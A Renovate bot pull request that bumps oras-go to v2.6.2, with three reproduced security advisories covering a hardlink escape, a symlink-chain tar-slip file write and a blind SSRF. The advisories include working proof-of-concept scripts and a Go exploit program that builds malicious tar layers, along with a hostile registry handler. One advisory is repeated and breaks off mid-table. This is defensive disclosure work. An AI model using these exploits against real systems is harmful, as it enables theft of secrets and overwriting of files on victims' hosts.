Skip to content

Renovate: Update module oras.land/oras-go/v2 to v2.6.2 [SECURITY] - #41

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-oras.land-oras-go-v2-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-oras.land-oras-go-v2-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 10, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
oras.land/oras-go/v2 v2.6.1 → v2.6.2 age adoption passing confidence

oras-go tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution

CVE-2026-50163 / GHSA-fxhp-mv3v-67qp

More information

Details

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

  • A regular file: payload.tar.gz/README.txt.
  • A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

  1. Validates payload.tar.gz/evil_cwd_link — passes.
  2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
    • path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
    • Returns target = "victim.secret" (NOT path).
  3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
  4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.


Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

##### 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

##### 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

##### 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)

##### ... patch layout/blobs/sha256/<manifest> to add
#####     io.deis.oras.content.unpack: "true" on layers[0].annotations ...

(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)

##### 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link   # → 6554160
stat -c '%i' cwd-space/victim.secret                # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link             # → "TOP SECRET FROM CWD"

Observed output:

evil_cwd_link (inside extract dir): inode=6554160
victim.secret  (in invoker CWD):    inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD

A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.


Impact

Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.

Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.

High-severity chains:

  • CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.
  • Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
  • Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive.
  • Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.

Not affected:

  • oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.
  • Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path).
Attack-surface boundary (fs.protected_hardlinks)

On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.

So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:

Invocation context Reachable file classes
oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files.
oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys.

The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.


Proposed fix

Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.

// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)
    }
    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", "", err
    }
    return target, path, nil
}
case tar.TypeLink:
    var absTarget string
    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(absTarget, filePath)
    }
case tar.TypeSymlink:
    var symTarget string
    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
    if err != nil { return err }
    if err = os.Symlink(symTarget, filePath); err != nil { ... }

Regression test to add:

Extend Test_extractTarDirectory_HardLink with a third sub-test that:

  1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt.
  2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative).
  3. Extracts.
  4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)

CVE-2026-85731 / GHSA-m37j-52j7-pjw7

More information

Details

Summary

The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration — a canonical tar-slip → RCE primitive.

Details

Affected versions: <= v2.6.1

Entry point: content/file/file.go line 486, (*Store).pushDir — reached from (*Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.

Root cause 1 — lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
        // resolve link
        path := target
        if !filepath.IsAbs(target) {
                path = filepath.Join(filepath.Dir(link), target)
        }
        // ensure path is under baseAbs or baseRel
        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
                return "", err
        }
        return target, nil
}

filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.

Root cause 2 — parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:

// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
                ...
        } else if info.Mode()&os.ModeSymlink != 0 {
                return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
        }
        dir = filepath.Dir(dir)
}

For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes — the entry itself is never Lstat-checked.

Root cause 3 — write follows symlinks. content/file/utils.go line 279, writeFile:

file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)

No O_NOFOLLOW, so if path is a symlink the write goes to its target.

Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:

  1. N nested directories <title>/d0/d1/…/d{N-1}.
  2. A symlink <title>/d0/…/d{N-1}/up → "../../…" (N levels). Both lexically and on disk this resolves to baseAbs, so ensureLinkPath accepts it and resolveRelToBase sees only real directories in its ancestry.
  3. A symlink <title>/escape → "d0/…/d{N-1}/up/../../…/<absTarget>" (N .. components after up). Lexically, filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>") cancels the N .. against up plus d{N-2}…d0, yielding baseAbs/d0/<absTarget> — inside the root, so ensureLinkPath accepts it. resolveRelToBase then walks d0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolving baseAbs/d0/…/up first follows up back to baseAbs, and the remaining N .. components climb from baseAbs to /, then <absTarget> is appended — the symlink points at the attacker-chosen absolute path.
  4. A regular file <title>/escape (same name). resolveRelToBase("escape") yields dir == "." (root cause 2), so no Lstat is performed. extractTarDirectory (line 181) calls writeFile which opens baseAbs/escape with O_TRUNC and no O_NOFOLLOW (root cause 3), writing the attacker's payload through the symlink to <absTarget>.

Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDir → extractTarGzip → extractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.

Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with O_NOFOLLOW (or O_EXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVE_BENEATH) / os.Root (Go 1.24+) for all filesystem operations.

PoC
go mod init poc
go get oras.land/oras-go/v2@v2.6.1
go run .
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main

import (
        "archive/tar"
        "bytes"
        "compress/gzip"
        "context"
        _ "crypto/sha256"
        "fmt"
        "os"
        "path/filepath"
        "strings"

        "github.com/opencontainers/go-digest"
        ocispec "github.com/opencontainers/image-spec/specs-go/v1"
        "oras.land/oras-go/v2/content/file"
)

func main() {
        if err := run(); err != nil {
                fmt.Println("ERROR:", err)
                os.Exit(1)
        }
}

func run() error {
        ctx := context.Background()

        // Victim's working directory for the file store.
        workDir, err := os.MkdirTemp("", "oras-victim-*")
        if err != nil {
                return err
        }
        defer os.RemoveAll(workDir)
        fmt.Println("[*] file.Store working dir:", workDir)

        // Target path the attacker wants to write, OUTSIDE workDir.
        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
        // a temp path keeps the demo self-contained.)
        outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
        _ = os.Remove(outsidePath)
        defer os.Remove(outsidePath)
        fmt.Println("[*] attacker target (outside workDir):", outsidePath)

        // The layer's AnnotationTitle. extractTarDirectory uses this as both the
        // in-tar prefix and the on-disk subdir under workDir.
        const title = "out"
        baseAbs := filepath.Join(workDir, title)

        // N nested dirs + a symlink "up" -> N*"../" so that after the kernel
        // follows "up" (landing at baseAbs) the remaining N lexical ".."
        // components climb from baseAbs to "/". N must be >= depth(baseAbs).
        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))
        fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth)

        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)
        if err != nil {
                return err
        }

        // Descriptor exactly as it would appear in a manifest's "layers" array.
        desc := ocispec.Descriptor{
                MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
                Digest:    dgst,
                Size:      size,
                Annotations: map[string]string{
                        ocispec.AnnotationTitle: title,
                        file.AnnotationUnpack:   "true",
                },
        }

        // Victim creates a file store with default settings (path traversal DISALLOWED).
        store, err := file.New(workDir)
        if err != nil {
                return err
        }
        defer store.Close()
        fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)

        // This is exactly what oras.Copy() invokes per layer.
        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {
                return fmt.Errorf("Push: %w", err)
        }

        // Check whether the out-of-tree file was written.
        if data, err := os.ReadFile(outsidePath); err == nil {
                rel, _ := filepath.Rel(workDir, outsidePath)
                fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath)
                fmt.Printf("[!] relative to workDir: %s\n", rel)
                fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir")
                return nil
        }
        fmt.Println("\n[-] no escape (file not created at", outsidePath, ")")
        return nil
}

// buildMaliciousLayer builds a tar.gz that, when extracted by
// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.
func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {
        var buf bytes.Buffer
        gzw := gzip.NewWriter(&buf)
        tw := tar.NewWriter(gzw)

        // 1. Nested directories: title/d0/d1/.../d{depth-1}
        dirs := make([]string, depth)
        for i := 0; i < depth; i++ {
                dirs[i] = fmt.Sprintf("d%d", i)
        }
        for i := 1; i <= depth; i++ {
                name := title + "/" + strings.Join(dirs[:i], "/")
                if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {
                        return nil, "", 0, err
                }
        }

        // 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../".
        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.
        upName := title + "/" + strings.Join(dirs, "/") + "/up"
        upTarget := strings.Repeat("../", depth-1) + ".."
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {
                return nil, "", 0, err
        }

        // 3. "escape" symlink at title/escape.
        //    Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>
        //    LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving
        //      d0/<outsidePath>  - INSIDE baseAbs, so ensureLinkPath accepts it.
        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*".."
        //      climbs to "/", then appends outsidePath.
        dots := strings.Repeat("../", depth-1) + ".."
        escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil {
                return nil, "", 0, err
        }

        // 4. Regular file entry at title/escape - same path as the symlink.
        //    resolveRelToBase("escape") has dir=="." so the per-component Lstat
        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no
        //    O_NOFOLLOW) and writes through the symlink to outsidePath.
        payload := []byte("PWNED-BY-ORAS-TARSLIP")
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil {
                return nil, "", 0, err
        }
        if _, err := tw.Write(payload); err != nil {
                return nil, "", 0, err
        }

        if err := tw.Close(); err != nil {
                return nil, "", 0, err
        }
        if err := gzw.Close(); err != nil {
                return nil, "", 0, err
        }

        data := buf.Bytes()
        return data, digest.FromBytes(data), int64(len(data)), nil
}

Expected output (paths vary):

[*] file.Store working dir: /tmp/oras-victim-209731351
[*] attacker target (outside workDir): /tmp/oras-PWNED
[*] baseAbs depth = 3, building 3 nested dirs
[*] store.AllowPathTraversalOnWrite = false

[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED
[!] relative to workDir: ../oras-PWNED
[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir
Impact

Who is affected: Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a content/file.Store — e.g. oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts), the documented primary use of the file store — with default settings (AllowPathTraversalOnWrite=false, SkipUnpack=false). Downstream consumers include the ORAS CLI (oras pull to a directory) and tools built on oras-go that materialise artifact contents on disk.

What the attacker gains: Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting ~/.ssh/authorized_keys, ~/.bashrc/~/.profile, Git hooks, or (when running as root, e.g. in CI or a controller) /etc/cron.d/* or binaries on $PATH — i.e. remote code execution on the victim host.

Preconditions / reachability: No local preconditions beyond pulling an attacker-controlled artifact; the attacker does not need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (UI:R).

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


oras-go: Blind SSRF via unvalidated Link header URL in pagination allows internal network probing

CVE-2026-85732 / GHSA-h7vf-4x9w-h99v

More information

Details

Summary

oras-go's pagination helper parseLink() in registry/remote/utils.go follows the Link response header from a registry without validating the URL's host or scheme. When a malicious registry returns a Link header containing an absolute URL pointing to an arbitrary host (e.g., a cloud metadata endpoint), the client makes GET requests to that host from the victim's network.

This affects all pagination-based listing operations: Tags, Referrers, and Repositories (catalog).

Root Cause

parseLink() at registry/remote/utils.go:54 calls resp.Request.URL.Parse(link) which, for absolute URLs, returns the absolute URL unchanged. The result is passed directly to the next pagination loop iteration where http.NewRequestWithContext() creates a GET request to the attacker-specified URL. No host comparison, scheme validation, or IP filtering exists between parseLink output and the HTTP request.

Affected Code Paths
  • registry/remote/repository.go:Tags() calls parseLink() for next page URL
  • registry/remote/repository.go:Referrers() calls parseLink() for next page URL
  • registry/remote/registry.go:Repositories() calls parseLink() for next page URL
Impact

Blind SSRF from the victim's network. A malicious registry operator can force any oras-go client that lists tags, referrers, or repositories to issue GET requests to arbitrary internal endpoints:

  • Cloud instance metadata endpoints for service discovery and IAM role enumeration
  • Internal HTTP services for port scanning and triggering side effects
  • If the victim's credential store maps credentials for the SSRF target host, those credentials are attached to the request (auth.Client looks up creds by request host)

The attacker cannot read the response body (it's parsed as JSON and fails), making this a blind SSRF. However, timing and error differences can confirm internal service existence.

Attack Chain
  1. Victim calls repo.Tags() / repo.Referrers() / registry.Repositories() against attacker-controlled registry
  2. Registry returns a valid first page + malicious Link header pointing to an internal endpoint
  3. parseLink() extracts the absolute URL with zero validation
  4. Pagination loop makes GET request to the internal endpoint from victim's network
PoC
Expand PoC
// Malicious registry handler for /v2/repo/tags/list:
func handler(w http.ResponseWriter, r *http.Request) {
    // Link header points to cloud metadata or internal service
    w.Header().Set("Link", `<http://internal-service:8080/admin>; rel="next"`)
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(map[string][]string{"tags": {"v1"}})
}

// Victim code:
repo, _ := remote.NewRepository("attacker-registry.io/repo")
repo.Tags(ctx, "", func(tags []string) error { return nil })
// Result: GET http://internal-service:8080/admin is made from victim's network
Suggested Fix

Validate that the URL returned by parseLink() has the same host and scheme as the original request before using it for the next pagination request. Reject cross-host or scheme-downgrade URLs.

Reported by zx (Jace)

Severity

  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


oras-go tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution

CVE-2026-50163 / GHSA-fxhp-mv3v-67qp / GO-2026-5880

More information

Details

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

  • A regular file: payload.tar.gz/README.txt.
  • A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

  1. Validates payload.tar.gz/evil_cwd_link — passes.
  2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
    • path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
    • Returns target = "victim.secret" (NOT path).
  3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
  4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.


Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

##### 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

##### 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

##### 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)

##### ... patch layout/blobs/sha256/<manifest> to add
#####     io.deis.oras.content.unpack: "true" on layers[0].annotations ...

(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)

##### 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link   # → 6554160
stat -c '%i' cwd-space/victim.secret                # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link             # → "TOP SECRET FROM CWD"

Observed output:

evil_cwd_link (inside extract dir): inode=6554160
victim.secret  (in invoker CWD):    inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD

A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.


Impact

Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.

Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.

High-severity chains:

  • CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.
  • Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
  • Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive.
  • Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.

Not affected:

  • oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.
  • Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path).
Attack-surface boundary (fs.protected_hardlinks)

On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.

So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:

Invocation context Reachable file classes
oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files.
oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys.

